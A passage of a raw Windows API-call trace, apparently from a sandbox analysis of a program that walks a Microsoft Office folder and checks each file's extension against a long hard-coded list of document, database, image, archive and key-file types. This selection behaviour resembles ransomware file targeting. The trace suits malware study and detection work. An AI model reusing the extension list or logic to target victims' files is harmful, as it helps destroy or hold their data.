[0040.789] lstrlenW (lpString=".m4v") returned 4 [0040.789] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".max") returned 4 [0040.789] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".md") returned 3 [0040.789] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0040.789] lstrlenW (lpString=".mda") returned 4 [0040.789] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".mdb") returned 4 [0040.789] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".mde") returned 4 [0040.789] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".mdf") returned 4 [0040.789] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".mdw") returned 4 [0040.789] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".mef") returned 4 [0040.789] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".mft") returned 4 [0040.789] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".mfw") returned 4 [0040.789] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mht") returned 4 [0040.790] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mhtml") returned 6 [0040.790] lstrcmpiW (lpString1=".mhtml", lpString2="0_.WMF") returned -1 [0040.790] lstrlenW (lpString=".mka") returned 4 [0040.790] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mkidx") returned 6 [0040.790] lstrcmpiW (lpString1=".mkidx", lpString2="0_.WMF") returned -1 [0040.790] lstrlenW (lpString=".mkv") returned 4 [0040.790] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mos") returned 4 [0040.790] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mov") returned 4 [0040.790] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mp3") returned 4 [0040.790] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mp4") returned 4 [0040.790] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mpeg") returned 5 [0040.790] lstrcmpiW (lpString1=".mpeg", lpString2="_.WMF") returned -1 [0040.790] lstrlenW (lpString=".mpg") returned 4 [0040.790] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mpv") returned 4 [0040.790] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mrw") returned 4 [0040.790] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".msg") returned 4 [0040.790] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".mxl") returned 4 [0040.790] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".myd") returned 4 [0040.790] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".myi") returned 4 [0040.790] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0040.790] lstrlenW (lpString=".nef") returned 4 [0040.791] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".nrw") returned 4 [0040.791] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".obj") returned 4 [0040.791] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".odb") returned 4 [0040.791] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".odc") returned 4 [0040.791] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".odm") returned 4 [0040.791] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".odp") returned 4 [0040.791] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".ods") returned 4 [0040.791] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".oft") returned 4 [0040.791] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".one") returned 4 [0040.791] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".onepkg") returned 7 [0040.791] lstrcmpiW (lpString1=".onepkg", lpString2="60_.WMF") returned -1 [0040.791] lstrlenW (lpString=".onetoc2") returned 8 [0040.791] lstrcmpiW (lpString1=".onetoc2", lpString2="260_.WMF") returned -1 [0040.791] lstrlenW (lpString=".opt") returned 4 [0040.791] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".oqy") returned 4 [0040.791] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".orf") returned 4 [0040.791] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".p12") returned 4 [0040.791] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".p7b") returned 4 [0040.791] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0040.791] lstrlenW (lpString=".p7c") returned 4 [0040.792] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pam") returned 4 [0040.792] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pbm") returned 4 [0040.792] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pct") returned 4 [0040.792] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pcx") returned 4 [0040.792] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pdd") returned 4 [0040.792] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pdf") returned 4 [0040.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pdp") returned 4 [0040.792] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pef") returned 4 [0040.792] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pem") returned 4 [0040.792] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pff") returned 4 [0040.792] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pfm") returned 4 [0040.792] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pfx") returned 4 [0040.792] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".pgm") returned 4 [0040.792] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".php") returned 4 [0040.792] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0040.792] lstrlenW (lpString=".php3") returned 5 [0040.792] lstrcmpiW (lpString1=".php3", lpString2="_.WMF") returned -1 [0040.792] lstrlenW (lpString=".php4") returned 5 [0040.792] lstrcmpiW (lpString1=".php4", lpString2="_.WMF") returned -1 [0040.792] lstrlenW (lpString=".php5") returned 5 [0040.792] lstrcmpiW (lpString1=".php5", lpString2="_.WMF") returned -1 [0040.793] lstrlenW (lpString=".phtml") returned 6 [0040.793] lstrcmpiW (lpString1=".phtml", lpString2="0_.WMF") returned -1 [0040.793] lstrlenW (lpString=".pict") returned 5 [0040.793] lstrcmpiW (lpString1=".pict", lpString2="_.WMF") returned -1 [0040.793] lstrlenW (lpString=".pl") returned 3 [0040.793] lstrcmpiW (lpString1=".pl", lpString2="WMF") returned -1 [0040.793] lstrlenW (lpString=".pls") returned 4 [0040.793] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".pm") returned 3 [0040.793] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0040.793] lstrlenW (lpString=".png") returned 4 [0040.793] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".pnm") returned 4 [0040.793] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".pot") returned 4 [0040.793] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".potm") returned 5 [0040.793] lstrcmpiW (lpString1=".potm", lpString2="_.WMF") returned -1 [0040.793] lstrlenW (lpString=".potx") returned 5 [0040.793] lstrcmpiW (lpString1=".potx", lpString2="_.WMF") returned -1 [0040.793] lstrlenW (lpString=".ppa") returned 4 [0040.793] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".ppam") returned 5 [0040.793] lstrcmpiW (lpString1=".ppam", lpString2="_.WMF") returned -1 [0040.793] lstrlenW (lpString=".ppm") returned 4 [0040.793] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".pps") returned 4 [0040.793] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".ppsm") returned 5 [0040.793] lstrcmpiW (lpString1=".ppsm", lpString2="_.WMF") returned -1 [0040.793] lstrlenW (lpString=".ppt") returned 4 [0040.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0040.793] lstrlenW (lpString=".pptm") returned 5 [0040.793] lstrcmpiW (lpString1=".pptm", lpString2="_.WMF") returned -1 [0040.793] lstrlenW (lpString=".pptx") returned 5 [0040.794] lstrcmpiW (lpString1=".pptx", lpString2="_.WMF") returned -1 [0040.794] lstrlenW (lpString=".prn") returned 4 [0040.794] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".ps") returned 3 [0040.794] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0040.794] lstrlenW (lpString=".psb") returned 4 [0040.794] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".psd") returned 4 [0040.794] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".pst") returned 4 [0040.794] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".ptx") returned 4 [0040.794] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".pub") returned 4 [0040.794] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".pwm") returned 4 [0040.794] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".pxr") returned 4 [0040.794] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".py") returned 3 [0040.794] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0040.794] lstrlenW (lpString=".qt") returned 3 [0040.794] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0040.794] lstrlenW (lpString=".r3d") returned 4 [0040.794] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0040.794] lstrlenW (lpString=".raf") returned 4 [0040.794] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0040.795] lstrlenW (lpString=".rar") returned 4 [0040.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0040.795] lstrlenW (lpString=".raw") returned 4 [0040.795] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0042.004] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0042.006] FindClose (in: hFindFile=0x3931888 | out: hFindFile=0x3931888) returned 1 [0042.173] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x39206e8 | out: hHeap=0x5f0000) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x3931848, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0042.174] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0042.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931888 [0042.175] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.176] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0042.963] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.963] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow.png", cAlternateFileName="")) returned 1 [0042.963] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0042.963] lstrlenW (lpString=".3ds") returned 4 [0042.963] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0042.963] lstrlenW (lpString=".3fr") returned 4 [0042.963] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0042.963] lstrlenW (lpString=".3g2") returned 4 [0042.963] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0042.963] lstrlenW (lpString=".3gp") returned 4 [0042.963] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0042.963] lstrlenW (lpString=".7z") returned 3 [0042.963] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0042.963] lstrlenW (lpString=".accda") returned 6 [0042.963] lstrcmpiW (lpString1=".accda", lpString2="ow.png") returned -1 [0042.963] lstrlenW (lpString=".accdb") returned 6 [0042.963] lstrcmpiW (lpString1=".accdb", lpString2="ow.png") returned -1 [0042.963] lstrlenW (lpString=".accdc") returned 6 [0042.963] lstrcmpiW (lpString1=".accdc", lpString2="ow.png") returned -1 [0042.963] lstrlenW (lpString=".accde") returned 6 [0042.963] lstrcmpiW (lpString1=".accde", lpString2="ow.png") returned -1 [0042.963] lstrlenW (lpString=".accdt") returned 6 [0042.963] lstrcmpiW (lpString1=".accdt", lpString2="ow.png") returned -1 [0042.963] lstrlenW (lpString=".accdw") returned 6 [0042.963] lstrcmpiW (lpString1=".accdw", lpString2="ow.png") returned -1 [0042.963] lstrlenW (lpString=".adb") returned 4 [0042.964] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".adp") returned 4 [0042.964] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".ai") returned 3 [0042.964] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0042.964] lstrlenW (lpString=".ai3") returned 4 [0042.964] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".ai4") returned 4 [0042.964] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".ai5") returned 4 [0042.964] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".ai6") returned 4 [0042.964] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".ai7") returned 4 [0042.964] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".ai8") returned 4 [0042.964] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".anim") returned 5 [0042.964] lstrcmpiW (lpString1=".anim", lpString2="w.png") returned -1 [0042.964] lstrlenW (lpString=".arw") returned 4 [0042.964] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".as") returned 3 [0042.964] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0042.964] lstrlenW (lpString=".asa") returned 4 [0042.964] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".asc") returned 4 [0042.964] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".ascx") returned 5 [0042.964] lstrcmpiW (lpString1=".ascx", lpString2="w.png") returned -1 [0042.964] lstrlenW (lpString=".asm") returned 4 [0042.964] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".asmx") returned 5 [0042.964] lstrcmpiW (lpString1=".asmx", lpString2="w.png") returned -1 [0042.964] lstrlenW (lpString=".asp") returned 4 [0042.964] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0042.964] lstrlenW (lpString=".aspx") returned 5 [0042.964] lstrcmpiW (lpString1=".aspx", lpString2="w.png") returned -1 [0042.964] lstrlenW (lpString=".asr") returned 4 [0042.964] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".asx") returned 4 [0042.965] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".avi") returned 4 [0042.965] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".avs") returned 4 [0042.965] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".backup") returned 7 [0042.965] lstrcmpiW (lpString1=".backup", lpString2="row.png") returned -1 [0042.965] lstrlenW (lpString=".bak") returned 4 [0042.965] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".bay") returned 4 [0042.965] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".bd") returned 3 [0042.965] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0042.965] lstrlenW (lpString=".bin") returned 4 [0042.965] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".bmp") returned 4 [0042.965] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".bz2") returned 4 [0042.965] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".c") returned 2 [0042.965] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0042.965] lstrlenW (lpString=".cdr") returned 4 [0042.965] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".cer") returned 4 [0042.965] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".cf") returned 3 [0042.965] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0042.965] lstrlenW (lpString=".cfc") returned 4 [0042.965] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".cfm") returned 4 [0042.965] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".cfml") returned 5 [0042.965] lstrcmpiW (lpString1=".cfml", lpString2="w.png") returned -1 [0042.965] lstrlenW (lpString=".cfu") returned 4 [0042.965] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0042.965] lstrlenW (lpString=".chm") returned 4 [0042.965] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".cin") returned 4 [0042.966] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".class") returned 6 [0042.966] lstrcmpiW (lpString1=".class", lpString2="ow.png") returned -1 [0042.966] lstrlenW (lpString=".clx") returned 4 [0042.966] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".config") returned 7 [0042.966] lstrcmpiW (lpString1=".config", lpString2="row.png") returned -1 [0042.966] lstrlenW (lpString=".cpp") returned 4 [0042.966] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".cr2") returned 4 [0042.966] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".crt") returned 4 [0042.966] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".crw") returned 4 [0042.966] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".cs") returned 3 [0042.966] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0042.966] lstrlenW (lpString=".css") returned 4 [0042.966] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".csv") returned 4 [0042.966] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".cub") returned 4 [0042.966] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".dae") returned 4 [0042.966] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".dat") returned 4 [0042.966] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".db") returned 3 [0042.966] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0042.966] lstrlenW (lpString=".dbf") returned 4 [0042.966] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".dbx") returned 4 [0042.966] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".dc3") returned 4 [0042.966] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0042.966] lstrlenW (lpString=".dcm") returned 4 [0042.966] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dcr") returned 4 [0042.967] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".der") returned 4 [0042.967] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dib") returned 4 [0042.967] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dic") returned 4 [0042.967] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dif") returned 4 [0042.967] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".divx") returned 5 [0042.967] lstrcmpiW (lpString1=".divx", lpString2="w.png") returned -1 [0042.967] lstrlenW (lpString=".djvu") returned 5 [0042.967] lstrcmpiW (lpString1=".djvu", lpString2="w.png") returned -1 [0042.967] lstrlenW (lpString=".dng") returned 4 [0042.967] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".doc") returned 4 [0042.967] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".docm") returned 5 [0042.967] lstrcmpiW (lpString1=".docm", lpString2="w.png") returned -1 [0042.967] lstrlenW (lpString=".docx") returned 5 [0042.967] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0042.967] lstrlenW (lpString=".dot") returned 4 [0042.967] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dotm") returned 5 [0042.967] lstrcmpiW (lpString1=".dotm", lpString2="w.png") returned -1 [0042.967] lstrlenW (lpString=".dotx") returned 5 [0042.967] lstrcmpiW (lpString1=".dotx", lpString2="w.png") returned -1 [0042.967] lstrlenW (lpString=".dpx") returned 4 [0042.967] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dqy") returned 4 [0042.967] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dsn") returned 4 [0042.967] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0042.967] lstrlenW (lpString=".dt") returned 3 [0042.967] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0042.967] lstrlenW (lpString=".dtd") returned 4 [0042.967] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".dwg") returned 4 [0042.968] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".dwt") returned 4 [0042.968] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".dx") returned 3 [0042.968] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0042.968] lstrlenW (lpString=".dxf") returned 4 [0042.968] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".edml") returned 5 [0042.968] lstrcmpiW (lpString1=".edml", lpString2="w.png") returned -1 [0042.968] lstrlenW (lpString=".efd") returned 4 [0042.968] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".elf") returned 4 [0042.968] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".emf") returned 4 [0042.968] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".emz") returned 4 [0042.968] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".epf") returned 4 [0042.968] 